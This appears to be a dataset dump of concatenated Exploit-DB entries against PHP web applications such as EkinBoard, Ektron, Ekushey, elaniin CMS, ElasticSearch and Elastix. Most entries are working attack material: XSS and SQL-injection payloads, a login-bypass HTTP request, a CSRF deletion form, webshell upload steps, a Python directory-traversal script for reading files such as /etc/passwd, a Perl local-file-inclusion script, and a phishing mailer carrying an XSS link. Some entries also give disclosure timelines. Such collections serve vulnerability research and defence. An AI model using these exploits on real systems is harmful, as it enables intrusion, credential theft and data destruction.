deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4859
Description: EkinBoard 1.1.0 - Arbitrary File Upload / Authentication Bypass
Type: webapps
Platform: php
Date: 2008-01-07
Author: Eugene Minaev

Exploit:
----[ EkinBoard Remote File Upload / Auth Bypass ... ITDefence.ru Antichat.ru ]

							EkinBoard >= 1.1.0 Remote File Upload / Auth Bypass
							Eugene Minaev underwater@itdefence.ru 
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		We can bypass admin authorization if register_globals on . All admin panel script include this code
		
		<?php
		if(!in_array(2, $_groups)){
		die("<center><span class=red>You need to be an admin to access this page!</span></center>");
		} 
		?>
		
		test1.ru/skvoznoy/backup.php?_groups[]=2
		
		There is a bug in upload function . We can upload any file bypass filters . Name your shell like 
		file.php.gif and select it as your avatar . Then check uploaded/avatars/filename_your_id.php

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-07]
Exploit-DB #37296
Description: Ektron CMS 9.10 SP1 (Build 9.1.0.184.1.114) - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-06-16
Author: Jerold Hoong

Exploit:
# Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and
assets.

<html>
  <body>
    <form action="http://127.0.0.1/Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure
Exploit-DB #33874
Description: Ektron CMS400.NET 7.5.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-26
Author: Richard Moore

Exploit:
source: https://www.securityfocus.com/bid/39679/info

Ektron CMS400.NET is prone to multiple security vulnerabilities, including multiple cross-site scripting issues, an information-disclosure issue, a cookie-manipulation issue, a directory-traversal issue, a security-bypass issue, and a URI redirection issue.

Attackers can leverage these issues to bypass authentication mechanisms, execute arbitrary script code in the browser of an unsuspecting user in the context of an affected site, steal cookie-based authentication credentials, obtain sensitive information, bypass certain security restrictions, and redirect a user to a potentially malicious site; other attacks are also possible.

Ektron CMS400.NET 7.5.2.49 is affected; other versions may also be vulnerable. 

The following example URIs are available:

Cross-Site Scripting issue:

http://www.example.com/WorkArea/reterror.aspx?info=<script>alert('vulnerable')</script>
http://www.example.com/workarea/medialist.aspx?action=ViewLibraryByCategory&selectids='; alert('Vulnerable');//

URI Redirection issue:

http://www.example.com/workarea/blankredirect.aspx?http://www.example2.com
Exploit-DB #45681
Description: Ekushey Project Manager CRM 3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Ekushey Project Manager CRM 3.1 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://creativeitem.com/
# Software Link : http://creativeitem.com/demo/ekushey/
# Software : Ekushey Project Manager CRM
# Version : 3.1
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2018-18417

# In the 3.1 version of Ekushey Project Manager CRM, Stored XSS has been discovered in the input and upload
# sections, as demonstrated by the name parameter to the index.php/admin/client/create URI.
 
# HTTP POST Request :

POST /demo/ekushey/index.php/admin/client/create HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/demo/ekushey/index.php/admin/client
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Length: 1576033
Cookie: ci_session=bvug3n8aq64rpuft843qq986fhl077vq
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="name"

"><script>alert("ismailtasdelen")</script>
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="email"

test@ismailtasdelen.me
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="password"

Passw0rd
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="address"

"><script>alert("ismailtasdelen")</script>
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="phone"

[PII_REDACTED]5
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="website"

https://ismailtasdelen.me
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="skype_id"

ismailtasdelen
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="facebook_profile_link"

ismailtasdelen
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="linkedin_profile_link"

ismailtasdelen
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="twitter_profile_link"

ismailtasdelen
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="short_note"

"><script>alert("ismailtasdelen")</script>
----------------------------[PII_REDACTED][PII_REDACTED]005243204
Content-Disposition: form-data; name="userfile"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg
Exploit-DB #52106
Description: Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS
Type: webapps
Platform: php
Date: 2025-04-02
Author: arfaoui haythem

Exploit:
# Exploit Title: Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS
# Date: 09/2024
# Exploit Author: Haythem Arfaoui (CBTW Team)
# Vendor Homepage: https://www.elaine.io/
# Software Link:
https://www.elaine.io/en/products/elaine-marketing-automation/
# Version: 6.18.17 and below
# Tested on: Windows, Linux
# CVE : CVE-2024-42831


# Description
A reflected cross-site scripting (XSS) vulnerability in Elaine's Realtime
CRM Automation v6.18.17 allows attackers to execute arbitrary JavaScript
code in the web browser of a user via injecting a crafted payload into the
dialog parameter at wrapper_dialog.php.

# Steps to reproduce:
1. Navigate to any website that contains Elaine's Realtime CRM Automation
2. Navigate to this endpoint: /system/interface/wrapper_dialog.php
3. Append the payload  *a"%20onafterscriptexecute=alert(document.domain)> *in
the *"dialog*" param and execute the request
4. Final URL
: /system/interface/wrapper_dialog.php?dialog=a"%20onafterscriptexecute=alert(document.domain)>
Exploit-DB #48705
Description: elaniin CMS - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-26
Author: BKpatron

Exploit:
# Exploit Title: elaniin CMS 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-07-14
# Exploit Author: BKpatron
# Vendor Homepage:https://elaniin.com/
# Software Link:https://github.com/elaniin/CMS/archive/master.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/elaniin/login.php

POST /elaniin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
Content-Length: 334
Referer:http://localhost/elaniin/login.php
Cookie: PHPSESSID=33snzxs8qht0gvh0fpd27vg62
Connection: close
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=LOGIN
Exploit-DB #47858
Description: elaniin CMS 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-01-06
Author: riamloo

Exploit:
# Exploit Title: elaniin CMS 1.0 - Authentication Bypass
# Author: riamloo
# Date: 2020-01-02
# Vendor Homepage: https://elaniin.com/ ( github ==> https://github.com/elaniin/ )
# Software Link: https://github.com/elaniin/CMS/archive/master.zip
# Version: 1
# CVE: N/A
# Tested on: Win 10

# Discription:
# Open-source Content Management System created with PHP + MySQL https://elaniin.com/
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/elaniin/login.php

POST /elaniin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
Content-Length: 334
Referer: http://localhost/elaniin/login.php
Cookie: PHPSESSID=81spdqht0gvh0f97vg62nzxs8
Connection: close
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=LOGIN
Exploit-DB #37054
Description: ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-05-18
Author: pandujar

Exploit:
#!/usr/bin/python
# Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign
# Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/
#
# Source: https://github.com/pandujar/elasticpwn/

import socket, sys

print "!dSR ElasticPwn - for CVE-2015-3337\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()

port = 9200 # Default ES http port
host = sys.argv[1]
fpath = sys.argv[2]

def grab(plugin):
		socket.setdefaulttimeout(3)
		s = socket.socket()
		s.connect((host,port))
		s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n"
			"Host: %s\n\n" % (plugin, fpath, host))
		file = s.recv(2048)
		print "	[*] Trying to retrieve %s:" % fpath
		if ("HTTP/1.0 200 OK" in file):
			print "\n%s" % file
		else:
		    print "[-] File Not Found, No Access Rights or System Not Vulnerable"

def pfind(plugin):
	try:
		socket.setdefaulttimeout(3)
		s = socket.socket()
		s.connect((host,port))
		s.send("GET /_plugin/%s/ HTTP/1.0\n"
			"Host: %s\n\n" % (plugin, host))
		file = s.recv(16)
		print "[*] Trying to find plugin %s:" % plugin
		if ("HTTP/1.0 200 OK" in file):
			print "[+] Plugin found!"
			grab(plugin)
			sys.exit()
		else:
		    print "[-]  Not Found "
	except Exception, e:
		print "[-] Error connecting to %s: %s" % (host, e)
		sys.exit()

# Include more plugin names to check if they are installed
pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head']

for plugin in pluginList:
	pfind(plugin)
Exploit-DB #38078
Description: Elastix - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-11-29
Author: cheki

Exploit:
source: https://www.securityfocus.com/bid/56746/info

Elastix is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Elastix 2.3.0 is vulnerable; other versions may also be affected. 

#! /usr/bin/python
# Author cheki
# Date 28/11/2012
# Test on Linux(mint)
# Vendor Elastix.org
# Exploit: https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E
#                     Vulnerability $Page Parameter {E_book.php file}
#                     $Page = $_GET['Page'];          // Page index
#                     $idx_phone = $_GET['phone'];    // phone's address book index
#                     if ( $Page == 0  )
#                     {
#                     $Page = 1;
#                     }

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
me = "your mail"
target_mail = "target mail"
msg = MIMEMultipart('alternative')
msg['Subject'] = "Link"
msg['From'] = me
msg['To'] = target_mail
text = "Hi!\nHow are you?\nHere is the link you wanted"
html = """\
<html>
  <head></head>
  <body>
    <p>Hi!<br>
       How are you?<br>
       Here is the <a href="https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E">link</a> you wanted.
    </p>
  </body>
</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
msg.attach(part1)
msg.attach(part2)
s = smtplib.SMTP('localhost')
s.sendmail(me, target_mail, msg.as_string())
s.quit()
Exploit-DB #38544
Description: Elastix - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-28
Author: cheki

Exploit:
source: https://www.securityfocus.com/bid/60262/info

Elastix is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)>
https://www.example.comlibs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)>
Exploit-DB #34942
Description: Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-01
Author: dave b

Exploit:
source: https://www.securityfocus.com/bid/44565/info

Elastix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Elastix 2.0.2 is vulnerable; other versions may also be affected. 

https://www.example.com/index.php?menu=packages&nombre_paquete=%22%2F%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&submitInstalado=installed&submit_nombre=Search

https://www.example.com/?menu=pbxconfig&display=recordings&Submit=Go&display=recordings&usersnum=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

https://www.example.com/index.php?menu=cdrreport&date_end=28%20Oct%202010&date_start=28%20Oct%202010&field_name=dst&field_pattern=%22%2F%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&filter=Filter&status=ALL

https://www.example.com/index.php?menu=asterisk_log&filter=2010-10-28&offset=0&busqueda=&ultima_busqueda=&ultimo_offset=&&busqueda=%22%2F%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&filter=2010-10-28&offset=0&show=Show&ultima_busqueda=&ultimo_offset=

https://www.example.com/index.php?menu=summary_by_extension&option_fil=&value_fil=&date_from=28&date_from=28%20Oct%202010&date_to=28%20Oct%202010&option_fil=Ext&show=Show&value_fil=%22%2F%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

https://www.example.com/index.php?menu=grouplist&action=view&id=1%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E

https://www.example.com/index.php?menu=group_permission&filter_group=1&filter_resource=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #37637
Description: Elastix 2.2.0 - 'graph.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-17
Author: cheki

Exploit:
source: https://www.securityfocus.com/bid/55078/info

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Elastix 2.2.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w

#------------------------------------------------------------------------------------# 
#Elastix is an Open Source Sofware to establish Unified Communications. 
#About this concept, Elastix goal is to incorporate all the communication alternatives,
#available at an enterprise level, into a unique solution.
#------------------------------------------------------------------------------------#
############################################################
# Exploit Title: Elastix 2.2.0 LFI
# Google Dork: :(
# Author: cheki
# Version:Elastix 2.2.0
# Tested on: multiple
# CVE : notyet
# romanc-_-eyes ;) 
# Discovered by romanc-_-eyes
# vendor http://www.elastix.org/

print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki   \n";
print "\t 0day Elastix 2.2.0  \n";
print "\t email: anonymous17hacker{}gmail.com \n";

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

use LWP::UserAgent;
print "\n Target: https://ip ";
chomp(my $target=<STDIN>);
$dir="vtigercrm";
$poc="current_language";
$etc="etc";
$jump="../../../../../../../..//";
$test="amportal.conf%00";

$code = LWP::UserAgent->new() or die "inicializacia brauzeris\n";
$code->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/".$dir."/graph.php?".$poc."=".$jump."".$etc."/".$test."&module=Accounts&action";
$res = $code->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ 'This file is part of FreePBX') {
 
print "\n read amportal.conf file : $answer \n\n";
print " successful read\n";
 
}
else { 
print "\n[-] not successful\n";
	}
Exploit-DB #36305
Description: Elastix 2.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-03-07
Author: Ahmed Aboul-Ela

Exploit:
# Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela
# Twitter: https://twitter.com/aboul3la
# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too
 
- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":
 
  <?php
  [...]
  line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 
  'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));

  line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, 
  creationdate, status, cvv, credit_card_type,currency, item_id, item_type " . 
  " FROM cc_epayment_log " . " WHERE id = ".$transactionID;

  line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
  [...]
  ?>    
  
   The GET parameter transactionID was used directly in the SQL query 
   without any sanitization which lead directly to SQL Injection vulnerability.
 
- Proof of Concept: 
 
  http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))
  
  The backend response will delay for few seconds, which means the benchmark() function was executed successfully
 
- Mitigation:
   
   The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now
   
   [~] yum update elastix-a2billing
 
 
- Time-Line:
 
    Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix
    Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix
    Fri, Mar  6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability
    Sat, Mar  7, 2015 at 5:15 PM: The public responsible disclosure

- Credits:
 
    Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT